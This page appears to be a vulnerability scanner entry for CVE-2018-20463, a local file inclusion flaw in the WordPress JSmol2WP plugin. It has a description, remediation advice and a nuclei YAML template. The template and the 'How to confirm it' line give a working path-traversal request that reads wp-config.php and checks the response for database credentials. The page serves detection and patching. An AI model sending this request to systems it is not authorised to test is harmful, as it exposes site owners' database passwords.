WordPress JSmol2WP <=1.07 - Local File Inclusion

highseverity

7.5CVSS score

13.2%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

WordPress JSmol2WP plugin 1.07 is susceptible to local file inclusion via ../ directory traversal in query=php://filter/resource= in the jsmol.php query string. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. This can also be exploited for server-side request forgery.

Impact

An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.

Fix

Update to the latest version of the JSmol2WP plugin (>=1.08) or remove the plugin if it is not necessary.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php
Positive when: contains "'DB_USER'," and "'DB_PASSWORD'" AND contains in header "text/plain" AND status 200

Run it with nuclei: nuclei -id CVE-2018-20463 -u <target>

The full check

id: CVE-2018-20463

info:
  name: WordPress JSmol2WP <=1.07 - Local File Inclusion
  author: vinit989
  severity: high
  description: |
    WordPress JSmol2WP plugin 1.07 is susceptible to local file inclusion via ../ directory traversal in query=php://filter/resource= in the jsmol.php query string. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. This can also be exploited for server-side request forgery.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Update to the latest version of the JSmol2WP plugin (>=1.08) or remove the plugin if it is not necessary.
  reference:
    - https://wpscan.com/vulnerability/9197
    - https://wordpress.org/plugins/jsmol2wp/
    - https://github.com/sullo/advisory-archives/blob/master/wordpress-jsmol2wp-CVE-2018-20463-CVE-2018-20462.txt
    - https://nvd.nist.gov/vuln/detail/CVE-2018-20463
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-20463
    cwe-id: CWE-22
    epss-score: 0.13187
    epss-percentile: 0.964
    cpe: cpe:2.3:a:jsmol2wp_project:jsmol2wp:1.07:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: jsmol2wp_project
    product: jsmol2wp
    framework: wordpress
  tags: cve,cve2018,wp,wp-plugin,wordpress,jsmol2wp,wpscan,traversal,jsmol2wp_project,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'DB_USER',"
          - "'DB_PASSWORD'"
        condition: and

      - type: word
        part: header
        words:
          - text/plain

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from